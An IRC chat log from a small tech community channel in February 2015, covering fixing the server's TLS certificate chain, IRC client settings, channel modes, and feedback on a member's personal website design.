[2015-02-02T18:55:03-0500] <jwoglom> how is a MS stack more secure?
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[2015-02-02T18:56:14-0500] <@awe> According to the analysis of the first technical member of the team (a Microsoft fanboy of sorts), there were significantly more and higher-profile security exploits in Linux as compared to Windows over the same period.
[2015-02-02T18:56:52-0500] <jwoglom> sounds unbiased
[2015-02-02T18:57:21-0500] <@awe> I made it sound a bit worse than it is.
[2015-02-02T18:57:25-0500] <@awe> He's just obsessed with .NET.
[2015-02-02T18:57:53-0500] <@awe> I suspect that the issue is just that Windows exploits are not dealt with as quickly.
[2015-02-02T18:58:04-0500] <@awe> But it's whatever.
[2015-02-02T18:58:14-0500] <nezorg> .NET *is* pretty nice
[2015-02-02T18:58:19-0500] <@awe> It's alright.
[2015-02-02T18:58:30-0500] <alokpathy> So how does one turn off SSL validation on weechat?
[2015-02-02T18:58:36-0500] <@awe> I forget.
[2015-02-02T18:58:42-0500] <jwoglom> alokpathy: i think it's /set irc.server.servername.ssl_verify off?
[2015-02-02T18:58:43-0500] <nezorg> awe: can't you just give us the cert?
[2015-02-02T18:58:50-0500] <nezorg> I'd feel a lot better that way
[2015-02-02T18:59:04-0500] <calc0000> you can get the cert yourself
[2015-02-02T18:59:11-0500] <calc0000> and drop it in your trusted store if you so wish
[2015-02-02T18:59:15-0500] <jwoglom> you can do /set irc.servers.* to see all the options
[2015-02-02T18:59:23-0500] <nezorg> calc0000: well, I can't verify it
[2015-02-02T18:59:31-0500] <calc0000> if you drop it in your trusted store you can
[2015-02-02T18:59:40-0500] <nezorg> calc0000: how so?
[2015-02-02T18:59:44-0500] <calc0000> windows or linux?
[2015-02-02T18:59:48-0500] <nezorg> linux
[2015-02-02T18:59:53-0500] <nezorg> but I think you miss my point
[2015-02-02T18:59:58-0500] <calc0000> copy the cert into /etc/ssl/certificates
[2015-02-02T19:00:01-0500] <calc0000> then run sudo update-ca-certificates
[2015-02-02T19:00:11-0500] <nezorg> my point is that if I just get it from the server, I don't know if it's legit
[2015-02-02T19:00:18-0500] <@awe> nezorg: IT's StartSSL.
[2015-02-02T19:00:25-0500] <@awe> It should already be trusted for you.
[2015-02-02T19:00:25-0500] <calc0000> how are you gonna trust what awe gives you?
[2015-02-02T19:00:31-0500] <nezorg> awe: hm, it's not
[2015-02-02T19:00:37-0500] <@awe> I don't know why it's not.
[2015-02-02T19:00:45-0500] <nezorg> calc0000: pgp signature
[2015-02-02T19:00:46-0500] <@awe> StartSSL is in the default Linux CA list.
[2015-02-02T19:00:51-0500] <nezorg> awe: /me shrugs
[2015-02-02T19:00:54-0500] <@awe> Just download it from the server.
[2015-02-02T19:00:54-0500] <calc0000> nezorg: fair enough
[2015-02-02T19:00:58-0500] <@awe> It's correct.
[2015-02-02T19:01:09-0500] <@awe> You're currently connected to the server and talking to me and I can assure you that it's currently correct.
[2015-02-02T19:01:17-0500] <nezorg> awe: maybe the NSA it MITM'ing though :S
[2015-02-02T19:01:45-0500] <calc0000> yeah i fail verification too
[2015-02-02T19:01:55-0500] <calc0000> awe maybe you need to send the full chain?
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[2015-02-02T19:02:27-0500] <@awe> ??
[2015-02-02T19:02:27-0500] <calc0000> what benedict cumberbatch is in this movie?
[2015-02-02T19:02:28-0500] <tripathy> jwoglom: Ah, that worked.
[2015-02-02T19:02:30-0500] <calc0000> mind asplode
[2015-02-02T19:02:35-0500] <tripathy> jwoglom: Thanks
[2015-02-02T19:02:42-0500] <calc0000> awe: send this certificate too issuer=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
[2015-02-02T19:02:43-0500] <jwoglom> tripathy: np
[2015-02-02T19:03:10-0500] <@awe> calc0000: I don't know how to do that with InspIRCd.
[2015-02-02T19:03:22-0500] <calc0000> is there somewhere you put the certificate?
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[2015-02-02T19:03:27-0500] <calc0000> maybe you can put the whole chain in there
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[2015-02-02T19:03:32-0500] <@awe> N, it's not a folder.
[2015-02-02T19:03:33-0500] <@awe> It's a single file.
[2015-02-02T19:03:38-0500] <calc0000> yeah that's fine
[2015-02-02T19:03:41-0500] <calc0000> just put the chain in the one file
[2015-02-02T19:03:46-0500] <calc0000> i mean, if inspircd supports it
[2015-02-02T19:06:29-0500] <calc0000> ugh openssl
[2015-02-02T19:06:30-0500] <@awe> "The certificate file (cert.pem) needs to contain all certificates in the verification chain. This means that your certificate's hex value should be first, then its signing cert, then the cert that signed that, and so forth up to the trusted root CA."
[2015-02-02T19:06:31-0500] <calc0000> i hate openssl
[2015-02-02T19:06:31-0500] <@awe> You're right.
[2015-02-02T19:06:41-0500] <calc0000> cool awe try that
[2015-02-02T19:06:47-0500] <calc0000> guess that'll require an inspircd restart
[2015-02-02T19:06:48-0500] <@awe> So, what's the whole chain?
[2015-02-02T19:06:50-0500] <@awe> No, it won't.
[2015-02-02T19:06:54-0500] <calc0000> ah baller
[2015-02-02T19:06:57-0500] <@awe> What's the whole chain though?
[2015-02-02T19:07:03-0500] <calc0000> the whole chain should've been given to you when you got the cert signed
[2015-02-02T19:08:24-0500] <@awe> calc0000: https://www.dropbox.com/s/v6nhfp4bh10brxs/Screenshot%202015-02-02%2019.08.22.png?dl=0
[2015-02-02T19:08:52-0500] <@awe> calc0000: wat do
[2015-02-02T19:08:57-0500] <calc0000> looks like you need the class 1 intermediate server CA
[2015-02-02T19:09:10-0500] <@awe> Just that?
[2015-02-02T19:09:11-0500] <calc0000> then probably the startcom root ca (in pem)
[2015-02-02T19:09:21-0500] <calc0000> though theoretically that should be in my trusted store
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[2015-02-02T19:09:23-0500] <@awe> Ah, okay.
[2015-02-02T19:09:39-0500] <calc0000>  $ ls StartCom*
[2015-02-02T19:09:39-0500] <calc0000> StartCom_Certification_Authority.pem
[2015-02-02T19:09:50-0500] <calc0000> i'd send it just for good measure
[2015-02-02T19:09:52-0500] <calc0000> won't hurt anything
[2015-02-02T19:10:06-0500] <@awe> Can someone check if it works now?
[2015-02-02T19:10:36-0500] <calc0000> it still appears to only be sending the one cert
[2015-02-02T19:10:41-0500] <nezorg> can confirm
[2015-02-02T19:10:47-0500] <calc0000> orly
[2015-02-02T19:10:53-0500] <@awe> That it works? Or that it's sending the one cert?
[2015-02-02T19:10:59-0500] <nezorg> only sending the one
[2015-02-02T19:11:03-0500] <calc0000> ah
[2015-02-02T19:11:06-0500] <@awe> May need to actually do a restart then.
[2015-02-02T19:11:16-0500] <nezorg> "Status: The certificate is NOT trusted. The certificate issuer is unknown."
[2015-02-02T19:11:26-0500] <nezorg> plus, only RSA? really? :/
[2015-02-02T19:11:34-0500] <@awe> That's what's free.
[2015-02-02T19:11:35-0500] <@awe> Sory.
[2015-02-02T19:11:36-0500] <@awe> Sorry*
[2015-02-02T19:11:44-0500] <calc0000> what would you rather have it be nezorg
[2015-02-02T19:12:16-0500] <nezorg> ed25519, but tls doesn't support that, so ecdsa
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[2015-02-02T19:17:19-0500] <awe> There we go.
[2015-02-02T19:17:20-0500] <JacobEdelman> what do you mean?
[2015-02-02T19:17:26-0500] Mode is +nst
[2015-02-02T19:17:44-0500] <JacobEdelman> does it hate you that much that its throttling you
[2015-02-02T19:17:46-0500] <JacobEdelman> ?
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[2015-02-02T19:21:04-0500] Mode is +nt
[2015-02-02T19:21:06-0500] <awe> Okay.
[2015-02-02T19:21:08-0500] <JacobEdelman> no! I wanted to be owner
[2015-02-02T19:21:08-0500] tripathy is now known as alokpathy
[2015-02-02T19:21:11-0500] <JacobEdelman> wait, what
[2015-02-02T19:21:13-0500] <JacobEdelman> two people
[2015-02-02T19:21:15-0500] <awe> You're not going to be owner.
[2015-02-02T19:21:25-0500] <alokpathy> JacobEdelman: What do you mean by "two people"?
[2015-02-02T19:21:33-0500] <awe> Okay, it's fixed.
[2015-02-02T19:21:34-0500] <awe> It should validate now.
[2015-02-02T19:21:40-0500] <alokpathy> woo
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[2015-02-02T19:21:48-0500] <awe> hi calc0000 
[2015-02-02T19:21:48-0500] <calc0000> ah
[2015-02-02T19:21:51-0500] <calc0000> i have returned
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[2015-02-02T19:22:11-0500] <ubuntor> the throttling is real
[2015-02-02T19:22:13-0500] <awe> Yeah.
[2015-02-02T19:22:14-0500] <awe> I'm sorry.
[2015-02-02T19:22:26-0500] <JacobEdelman> awe and qqq
[2015-02-02T19:22:32-0500] <awe> ?
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[2015-02-02T19:22:53-0500] awe sets mode +q awe
[2015-02-02T19:23:02-0500] <~awe> Okay.
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[2015-02-02T19:23:08-0500] <ubuntor> i just realized that awe is super easy to type
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[2015-02-02T19:23:13-0500] <~awe> ubuntor: that's why I like it.
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[2015-02-02T19:24:57-0500] <JacobEdelman> oh wait, yeah
[2015-02-02T19:25:20-0500] <JacobEdelman> hmm... "loi" is the opposite
[2015-02-02T19:25:29-0500] <~awe> Yes.
[2015-02-02T19:25:34-0500] <JacobEdelman> awe: do you have an evil twin name "loi"
[2015-02-02T19:25:36-0500] <~awe> Yes.
[2015-02-02T19:25:59-0500] <jwoglom> wouldn't the real evil twin be "'[p"
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[2015-02-02T19:26:19-0500] <JacobEdelman> jwoglom: nah, thats no fun
[2015-02-02T19:26:30-0500] <jwoglom> JacobEdelman: but logic!
[2015-02-02T19:26:47-0500] <ubuntor> or ;oi, depending on key layout
[2015-02-02T19:27:07-0500] <JacobEdelman> its "loi", even awe admitted it
[2015-02-02T19:27:19-0500] <alokpathy> awe: Bouncer account?
[2015-02-02T19:27:21-0500] <~awe> ;oi is actually closer.
[2015-02-02T19:27:29-0500] <~awe> On both my keyboards.
[2015-02-02T19:27:41-0500] awe sets mode +o awe
[2015-02-02T19:27:44-0500] awe sets mode -q awe
[2015-02-02T19:28:17-0500] <JacobEdelman> awe: but you said it was "loi"!
[2015-02-02T19:28:20-0500] <@awe> Pidgey didn't join here...?
[2015-02-02T19:28:23-0500] <JacobEdelman> awe: are there two?
[2015-02-02T19:28:28-0500] <JacobEdelman> nope, no Pidgey
[2015-02-02T19:28:38-0500] <@awe> Oh.
[2015-02-02T19:28:38-0500] <ubuntor> pidgey was in the other channels though
[2015-02-02T19:28:41-0500] <@awe> There's a channel limit.
[2015-02-02T19:28:43-0500] <@awe> Let me fix that.
[2015-02-02T19:28:52-0500] <JacobEdelman> weird
[2015-02-02T19:31:10-0500] <@awe> You are on too many channels.
[2015-02-02T19:31:10-0500] <@awe> WHAT?
[2015-02-02T19:31:14-0500] <@awe> I just set a max to 72.
[2015-02-02T19:31:26-0500] Inviting Pidgey to join #pdgn
[2015-02-02T19:31:40-0500] <JacobEdelman> umm..... I may have registered quiet a few, but not more then umm... 40?
[2015-02-02T19:32:01-0500] <ubuntor> should be around 17 occupied channels, not counting hidden ones
[2015-02-02T19:33:22-0500] <@awe> Sigh. Now Pidgey is being throttled.
[2015-02-02T19:34:24-0500] <@awe> Out of curiosity, would anyone be opposed to just not having Pidgey at all?
[2015-02-02T19:35:32-0500] <ubuntor> what about autovoicing?
[2015-02-02T19:36:02-0500] <@awe> Voice means nothing now anyway?
[2015-02-02T19:36:13-0500] <ubuntor> true
[2015-02-02T19:36:43-0500] <@awe> I'm thinking we'll be fine with an EFNet approach.
[2015-02-02T19:36:46-0500] <calc0000> what was the purpose of voice?
[2015-02-02T19:37:08-0500] <@awe> It was used for a voting thing that was eventually disabled because it was being abused.
[2015-02-02T19:37:12-0500] <@awe> And in general wasn't useful.
[2015-02-02T19:37:43-0500] <calc0000> peculiar
[2015-02-02T19:41:12-0500] <@awe> Okay, I really need to do this whole static site thing.
[2015-02-02T19:48:02-0500] <alokpathy> So, awe wasn't kidding about Super Bowl riots https://www.youtube.com/watch?v=QyfnaLBXXIg
[2015-02-02T19:48:42-0500] <@awe> Supposedly, it was really tame.
[2015-02-02T19:48:49-0500] <@awe> i.e. non-violent.
[2015-02-02T19:49:06-0500] <@awe> There's been car-tipping and stuff before.
[2015-02-02T19:49:13-0500] <alokpathy> UMass Amherst must be an interesting place.
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[2015-02-02T20:00:12-0500] <@awe> I do not know what I want to do with my site. This is somewhat stressful.
[2015-02-02T20:04:31-0500] <@awe> I actually might do something like hardmath123's site.
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[2015-02-02T20:31:40-0500] <hardmath123> whooo i was terrified to grep through 1300 messages for my mention
[2015-02-02T20:31:44-0500] <hardmath123> and then it's like right there at the end
[2015-02-02T20:31:47-0500] <calc0000> ag master race
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[2015-02-02T20:33:13-0500] <assface> ayy
[2015-02-02T20:34:08-0500] <calc0000> lmao
[2015-02-02T20:38:34-0500] <@awe> hardmath123: yah
[2015-02-02T20:41:06-0500] <JacobEdelman> calc0000: why you back all of a sudden
[2015-02-02T20:47:18-0500] <JacobEdelman> i gotta say the super bowl riots at umass amherst plus the music in the background of the video make it seem like a harlem shake video
[2015-02-02T20:51:54-0500] <calc0000> jacobedelman: i am a leaf on the wind
[2015-02-02T20:54:10-0500] <@awe> hardmath123: https://www.dropbox.com/s/x63vyldcomfmdho/Screenshot%202015-02-02%2020.54.07.png?dl=0
[2015-02-02T20:54:10-0500] <@awe> lol
[2015-02-02T20:59:01-0500] <JacobEdelman> hmmm... its supposed to be one color, max
[2015-02-02T21:00:13-0500] <JacobEdelman> gnight
[2015-02-02T21:00:25-0500] <@awe> Maybe better?
[2015-02-02T21:00:25-0500] <@awe> https://www.dropbox.com/s/lnbse1bgyusqfp4/Screenshot%202015-02-02%2021.00.21.png?dl=0
[2015-02-02T21:00:47-0500] <hardmath123> awe: that's actually very nice. I'm against justified text on the web, though, raggedright is slightly easier to read when it's wider than a newspaper column or book.
[2015-02-02T21:01:10-0500] <@awe> Which is better the first one or the second one?
[2015-02-02T21:01:16-0500] <hardmath123> awe: the one without the purple bar, certainly.
[2015-02-02T21:01:23-0500] <@awe> purple bar?
[2015-02-02T21:01:29-0500] <@awe> Mixed signals.
[2015-02-02T21:01:31-0500] <@awe> One has a bar.
[2015-02-02T21:01:33-0500] <@awe> The other has purple tdext.
[2015-02-02T21:01:35-0500] <@awe> text*
[2015-02-02T21:01:50-0500] <hardmath123> awe: the first one.
[2015-02-02T21:03:12-0500] <@awe> So, this: https://www.dropbox.com/s/nurt047q2ffhqw0/Screenshot%202015-02-02%2021.03.09.png?dl=0
[2015-02-02T21:03:25-0500] <@awe> This one has the nice spacing on the top right icons from the second one.
[2015-02-02T21:04:09-0500] <JacobEdelman> hmmm... I think it would look nicer if you were using linux, now gnight for real this time
[2015-02-02T21:04:28-0500] <ubuntor> the green lambda seems a bit too bright
[2015-02-02T21:04:34-0500] <@awe> Yeah.
[2015-02-02T21:04:35-0500] <calc0000> your face is a bit too bright
[2015-02-02T21:04:36-0500] <calc0000> rekt{
[2015-02-02T21:04:57-0500] <@awe> That's why I added the bar.
[2015-02-02T21:05:18-0500] <hardmath123> nice. just a hair more spacing between paragraphs and less spacing between the very top and the heading "Aaron Weiss"
[2015-02-02T21:05:31-0500] <@awe> https://www.dropbox.com/s/7b6czlj6ikz3yg1/Screenshot%202015-02-02%2021.05.29.png?dl=0
[2015-02-02T21:05:32-0500] <@awe> Better?
[2015-02-02T21:05:42-0500] <@awe> ubuntor: ^
[2015-02-02T21:05:49-0500] <ubuntor> better
[2015-02-02T21:05:56-0500] <@awe> I switched it so that the Lambda + Aaron Weiss gets brighter instead of darker on mouse over.
[2015-02-02T21:06:07-0500] <ubuntor> oh, neat
[2015-02-02T21:06:54-0500] <@awe> hardmath123: https://www.dropbox.com/s/w0uwqv1ssyzx72b/Screenshot%202015-02-02%2021.06.51.png?dl=0
[2015-02-02T21:06:57-0500] <@awe> spacing updates
[2015-02-02T21:07:26-0500] <hardmath123> yes. beautiful.
[2015-02-02T21:07:32-0500] <hardmath123> now insert actual English text.
[2015-02-02T21:07:49-0500] <@awe> Yes, I have to write a blurb about myself.
[2015-02-02T21:08:02-0500] <hardmath123> I wrote this at some point https://www.npmjs.com/package/englipsum
[2015-02-02T21:08:03-0500] <calc0000> blurb
[2015-02-02T21:08:18-0500] <hardmath123> http://hardmath123.github.io/englipsum/
[2015-02-02T21:08:20-0500] <hardmath123> ^^ Demo.
[2015-02-02T21:08:47-0500] <@awe> Lol.
[2015-02-02T21:10:21-0500] <hardmath123> awe: /topic Temporary qdb: http://backtick.town/~kc/qdb.txt [`nc backtick.town 1337` to submit] | {bitcoin_info}?
[2015-02-02T21:10:31-0500] <@awe> Oh, yeah.
[2015-02-02T21:10:35-0500] <@awe> I forgot that Pidgey never joined here.
[2015-02-02T21:10:51-0500] <assface> lol
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[2015-02-02T21:11:05-0500] awe changed the topic to Temporary qdb: http://backtick.town/~kc/qdb.txt | Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
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[2015-02-02T21:11:07-0500] <@awe> There we go.
[2015-02-02T21:11:08-0500] <assface> hardmath123: eggcelent
[2015-02-02T21:11:34-0500] <hardmath123> guys guys guys
[2015-02-02T21:11:45-0500] <hardmath123> would you use a good binary text editor that runs on the command line?
[2015-02-02T21:12:10-0500] <hardmath123> it'll be xxd-like, with plaintext and hex side-by-side
[2015-02-02T21:12:23-0500] <hardmath123> and you can switch with a keybinding
[2015-02-02T21:12:27-0500] <hardmath123> and everything else is vimmey.
[2015-02-02T21:12:31-0500] <@awe> Sounds neat.
[2015-02-02T21:13:03-0500] <ubuntor> ooh
[2015-02-02T21:13:17-0500] <hardmath123> KOBE: Kartik's Own Binary Editor (or King Of Binary Editors in places where I don't want to associate my real name)
[2015-02-02T21:14:03-0500] <@awe> Lol.
[2015-02-02T21:14:09-0500] <@awe> I like the name more than the idea.
[2015-02-02T21:14:47-0500] <hardmath123> i mean, the alternative is http://www.kevssite.com/2009/04/21/using-vi-as-a-hex-editor/ :P
[2015-02-02T21:19:30-0500] <@awe> hardmath123: the site behaves pretty well responsively, too.
[2015-02-02T21:20:12-0500] <bob_twinkles> there's hexedit and dhex
[2015-02-02T21:20:18-0500] <@awe> The margins collapse entirely.
[2015-02-02T21:20:27-0500] <@awe> https://www.dropbox.com/s/ea6f6pwg5odxr3o/Screenshot%202015-02-02%2021.20.25.png?dl=0
[2015-02-02T21:20:28-0500] <@awe> See.
[2015-02-02T21:20:54-0500] <ubuntor> nice
[2015-02-02T21:21:15-0500] <calc0000> eggplant
[2015-02-02T21:21:22-0500] <calc0000> oh whoops
[2015-02-02T21:21:28-0500] <@awe> calc0000: lol
[2015-02-02T21:21:34-0500] <ubuntor> well, there's the green and purple
[2015-02-02T21:23:00-0500] <hardmath123> that irc client made me cringe and then caused a mild seizure.
[2015-02-02T21:23:29-0500] <@awe> hardmath123: mine?
[2015-02-02T21:23:31-0500] <@awe> hardmath123: y?
[2015-02-02T21:23:43-0500] <hardmath123> awe: yeah. color scheme. yikes!
[2015-02-02T21:23:57-0500] <@awe> I wish it could be gruvbox like my Vim.
[2015-02-02T21:24:00-0500] <@awe> I should look into it.
[2015-02-02T21:27:28-0500] <bob_twinkles> not monospace font =(
[2015-02-02T21:28:38-0500] <@awe> My IRC client?
[2015-02-02T21:28:41-0500] <@awe> Yeah, it's not.
[2015-02-02T22:28:26-0500] <@awe> Okay, I just need to write the blurb for the front page and then I think I'm done.
[2015-02-02T22:28:36-0500] <@awe> Or at least enough for people to look at and whatnot.
[2015-02-02T22:32:48-0500] <calc0000> blurb
[2015-02-02T22:34:46-0500] <hardmath123> :D
[2015-02-02T22:34:46-0500] <@awe> calc0000: yes, thank you.
[2015-02-02T22:47:04-0500] tripathy is now known as alokpathy_
[2015-02-02T22:47:16-0500] <alokpathy_> Is it just me or is the national anthem pretty catchy?
[2015-02-02T22:47:36-0500] <calc0000> blurb
[2015-02-02T22:47:42-0500] <alokpathy_> I've been humming it for a bit too long now.
[2015-02-02T22:48:12-0500] <calc0000> i had the friends theme song stuck in my head for a while 
[2015-02-02T22:48:47-0500] <jwoglom> alokpathy_: 'murica!
[2015-02-02T22:53:12-0500] <LittleBobbyTables> whoa, 1800 messages. I think that's a record, guys
[2015-02-02T22:59:05-0500] <@awe> https://www.dropbox.com/s/ync3zz6hoka4k3l/Screenshot%202015-02-02%2022.59.02.png?dl=0
[2015-02-02T22:59:07-0500] <@awe> Opines?
[2015-02-02T22:59:39-0500] <@awe> I have 23,000 unread messages in #haskell right now.
[2015-02-02T23:00:01-0500] <@awe> alokpathy_, hardmath123, calc0000 ^?
[2015-02-02T23:02:38-0500] <ubuntor> looks pretty good
[2015-02-02T23:02:42-0500] <ubuntor> nice and simplistic
[2015-02-02T23:03:20-0500] <@awe> https://www.dropbox.com/s/uf0efym3360hes4/Screenshot%202015-02-02%2023.03.19.png?dl=0
[2015-02-02T23:03:25-0500] <@awe> I replaced the word "tent icon" with the tent icon.
[2015-02-02T23:04:21-0500] <@awe> ubuntor: 0% js, by the way.
[2015-02-02T23:04:30-0500] <alokpathy_> I like it yey
[2015-02-02T23:04:39-0500] <@awe> Content-wise?
[2015-02-02T23:04:48-0500] <@awe> Comments on what I wrote on the home page?
[2015-02-02T23:05:05-0500] <ubuntor> nice
[2015-02-02T23:05:08-0500] <ubuntor> um
[2015-02-02T23:05:59-0500] <ubuntor> hm, does the democracy thing apply to pdgnco anymore?
[2015-02-02T23:06:15-0500] <@awe> I mean, fundamentally, yes.
[2015-02-02T23:06:29-0500] <@awe> I ask you guys about decisions related to the network.
[2015-02-02T23:06:36-0500] <ubuntor> ah, ok
[2015-02-02T23:06:52-0500] <@awe> Like the fact that we'll be on two servers soon :p
[2015-02-02T23:07:00-0500] <@awe> I'm pretty excited for that, actually.
[2015-02-02T23:08:53-0500] <alokpathy_> awe: Hmm...no HSCTF?
[2015-02-02T23:09:39-0500] <alokpathy_> That's the only thing I can think of at the moment.
[2015-02-02T23:09:43-0500] <@awe> I can mention HSCTF, but I don't really have much of an involvement with it now.
[2015-02-02T23:09:47-0500] <@awe> There's mentions of it in my blog.
[2015-02-02T23:09:58-0500] <@awe> https://www.dropbox.com/s/rzvc1o1f49zsqy5/Screenshot%202015-02-02%2023.09.57.png?dl=0
[2015-02-02T23:10:00-0500] <@awe> See.
[2015-02-02T23:10:10-0500] <alokpathy_> Ah, I see.
[2015-02-02T23:11:31-0500] <LittleBobbyTables> awe, I meant for us.
[2015-02-02T23:11:35-0500] <LittleBobbyTables> It's normally like 800.
[2015-02-02T23:11:40-0500] <@awe> LittleBobbyTables: I know. :p
[2015-02-02T23:13:32-0500] <Hyper> awe: looks much less shitty than your current site :)
[2015-02-02T23:13:37-0500] <@awe> Hah, thanks.
[2015-02-02T23:13:42-0500] <@awe> I like the backhanded compliment.
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[2015-02-02T23:13:50-0500] <Hyper> only kind I can give
[2015-02-02T23:14:01-0500] <@awe> hi Trent
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[2015-02-02T23:14:03-0500] <Hyper> to be fair my site looks like ass too so it's cool
[2015-02-02T23:14:04-0500] <Trent> howdy
[2015-02-02T23:14:24-0500] <@awe> Trent is the owner of the other IRC network that I frequent. :D
[2015-02-02T23:14:26-0500] <Hyper> ooh, a new person
[2015-02-02T23:14:59-0500] <LittleBobbyTables> hi trent
[2015-02-02T23:16:05-0500] <alokpathy_> Trent: Welcome to pdgn :D
[2015-02-02T23:16:20-0500] <alokpathy_> awe: vana?
[2015-02-02T23:16:23-0500] <Trent> cheers, thanks :)
[2015-02-02T23:16:23-0500] <@awe> Yup.
[2015-02-02T23:23:42-0500] <alokpathy_> The German national anthem is pretty.
[2015-02-02T23:23:49-0500] <@awe> How un-American.
[2015-02-02T23:24:12-0500] <alokpathy_> But not as pretty as America's :D
[2015-02-02T23:25:02-0500] <alokpathy_> Lol, I remember I was humming the national anthem in class once
[2015-02-02T23:25:06-0500] <alokpathy_> thinking nobody could hear me.
[2015-02-02T23:25:09-0500] <alokpathy_> Everybody could.
[2015-02-02T23:25:13-0500] <@awe> http://aatxe.github.io/aaronweiss.us/
[2015-02-02T23:25:15-0500] <@awe> Check it out, guys.
[2015-02-02T23:25:16-0500] <alokpathy_> They stared at me and my teacher saluted me.
[2015-02-02T23:26:19-0500] <@awe> YOU CAN VIEW IT AND STUFF
[2015-02-02T23:26:48-0500] <alokpathy_> awe: Nicee :D
[2015-02-02T23:27:00-0500] <@awe> Give me opinions!
[2015-02-02T23:27:51-0500] <jwoglom> awe: that's pretty simple looking
[2015-02-02T23:27:53-0500] <jwoglom> not that that's bad
[2015-02-02T23:27:58-0500] <Hyper> awe: why is your github link not the github logo?
[2015-02-02T23:28:09-0500] <@awe> Because glyphicons don't have a GitHub logo.
[2015-02-02T23:28:11-0500] <alokpathy_> jwoglom: I think that was his intention.
[2015-02-02T23:28:24-0500] <Hyper> awe: just put an image there x.x
[2015-02-02T23:28:30-0500] <@awe> I'd rather not have an image there?
[2015-02-02T23:28:35-0500] <Hyper> bleh
[2015-02-02T23:28:36-0500] <@awe> Images are a pain in the ass.
[2015-02-02T23:28:47-0500] <jwoglom> fontawesome has a github logo i know
[2015-02-02T23:28:53-0500] <Hyper> last sentence of paragraph 3 is cringeworthy
[2015-02-02T23:29:03-0500] <@awe> Lol.
[2015-02-02T23:29:11-0500] <@awe> I felt like that was going to get a comment.
[2015-02-02T23:29:54-0500] <@awe> jwoglom: thanks, will do that.
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[2015-02-02T23:33:47-0500] <@awe> Hyper: https://www.dropbox.com/s/4xaaa1tg0l15oz5/Screenshot%202015-02-02%2023.33.42.png?dl=0
[2015-02-02T23:33:49-0500] <@awe> Hyper: better?
[2015-02-02T23:34:03-0500] <jwoglom> awe: also, you shouldn't have to explain how the navigation on your site works
[2015-02-02T23:34:08-0500] <jwoglom> it should be easy to tell what the buttons do :P
[2015-02-02T23:34:08-0500] <@awe> Fair enough.
[2015-02-02T23:34:13-0500] <@awe> I had it before because tent.
[2015-02-02T23:34:22-0500] <Hyper> much better
[2015-02-02T23:34:27-0500] <Hyper> still has awful sentence though
[2015-02-02T23:34:31-0500] <@awe> Yeah, let me fix that.
[2015-02-02T23:34:54-0500] <zrl> hardmath123: https on gunnhacks.com is broken
[2015-02-02T23:34:55-0500] <zrl> and hangs
[2015-02-02T23:38:13-0500] <hardmath123> zrl: I'll be honest, I hate the website. It's made by a "must add more bootstrap needs more jquery" script kiddie.
[2015-02-02T23:38:24-0500] <hardmath123> zrl: the sponsorship packet is pretty, though. /sponsors.pdf
[2015-02-02T23:38:55-0500] <Hyper> I actively work to make teammates not use bootstrap
[2015-02-02T23:39:04-0500] <Hyper> I've only been successful a few times :(
[2015-02-02T23:39:22-0500] <Hyper> 90% of things made with it look the same
[2015-02-02T23:39:29-0500] <hardmath123> They look terrible!
[2015-02-02T23:39:37-0500] <@awe> Thanks, guys.
[2015-02-02T23:39:38-0500] <Trent> a $10k sponsorship level?
[2015-02-02T23:39:46-0500] <@awe> If you weren't aware, my site uses bootstrap.
[2015-02-02T23:40:15-0500] <@awe> Hmm, what was our biggest sponsor?
[2015-02-02T23:40:17-0500] <@awe> ~3k?
[2015-02-02T23:40:24-0500] <@awe> alokpathy: ?
[2015-02-02T23:40:37-0500] <@awe> Maybe it was 2k.
[2015-02-02T23:40:59-0500] <Trent> Sorry, my instincts were kicking in.
[2015-02-02T23:41:03-0500] <@awe> It was $1,000 + four pebbles and some other stuff.
[2015-02-02T23:41:06-0500] • Trent: is a conference and events coordinator
[2015-02-02T23:41:07-0500] <hardmath123> Trent: it's a psychological thing. If there's a higher sponsorship level, a normal-ey level suddenly seems lower.
[2015-02-02T23:41:14-0500] <hardmath123> Trent: Nice to meet you.
[2015-02-02T23:41:33-0500] <@awe> Trent: I did not know that. That's cool.
[2015-02-02T23:41:39-0500] <Trent> yep.  :)
[2015-02-02T23:41:56-0500] <@awe> hardmath123: if you want something that looks terrible, hsctf.com xD
[2015-02-02T23:42:04-0500] <@awe> hardmath123: no bootstrap and it still looks bad!
[2015-02-02T23:42:18-0500] <@awe> At least Jacob removed the vomit color though.
[2015-02-02T23:42:46-0500] <Hyper> I was actually having a discussion with some hackathon organizers yesterday and we were talking about how those huge prizes encourage "brogrammer" types (and to a different extent, cheating)
[2015-02-02T23:42:53-0500] <@awe> Of course.
[2015-02-02T23:42:57-0500] <Hyper> it doesn't look awful
[2015-02-02T23:43:24-0500] <@awe> It looks as bad as GunnHacks.
[2015-02-02T23:43:30-0500] <@awe> hardmath123: I like that the fish looks like a lambda.
[2015-02-02T23:43:51-0500] <hardmath123> awe: IT'S NOT A FISH
[2015-02-02T23:43:55-0500] <hardmath123> awe: HIS NAME IS ALONZO
[2015-02-02T23:43:57-0500] <@awe> What is it?
[2015-02-02T23:44:00-0500] <@awe> It looks like a fish.
[2015-02-02T23:44:04-0500] <hardmath123> HE IS A GOBO
[2015-02-02T23:44:08-0500] <@awe> A gobo?
[2015-02-02T23:44:17-0500] <@awe> a dark plate or screen used to shield a lens from light.
[2015-02-02T23:44:28-0500] <hardmath123> http://wiki.scratch.mit.edu/wiki/Gobo
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[2015-02-02T23:45:17-0500] <@awe> Ah, neat.
[2015-02-02T23:45:27-0500] <hardmath123> Snap! adopted Gobo for its mascot by extruding a lambda.
[2015-02-02T23:47:22-0500] <Trent> looks like a good event
[2015-02-02T23:47:25-0500] <@awe> "It has a "tail" depicting the Greek lowercase letter lambda (λ), which, in computer science, represents the time window over which a process is observed for determining the working memory set for a digital computer's virtual memory management."
[2015-02-02T23:47:41-0500] <Hyper> o...o
[2015-02-02T23:47:41-0500] <@awe> And yet it's named for Alonzo Church who used the lambda to mean something very different.
[2015-02-02T23:49:48-0500] <@awe> Trent: there's a lot of events like this.
[2015-02-02T23:50:16-0500] <Trent> I figured.  I just meant looking over your materials, it looks like it'll be a good event
[2015-02-02T23:50:58-0500] <@awe> Wait, are you referring to GunnHacks or HSCTF?
[2015-02-02T23:51:07-0500] <Trent> GunnHacks?
[2015-02-02T23:51:09-0500] <@awe> Ah, okay.
[2015-02-02T23:51:16-0500] <@awe> Well, I have nothing to do with it. That's all hardmath123.
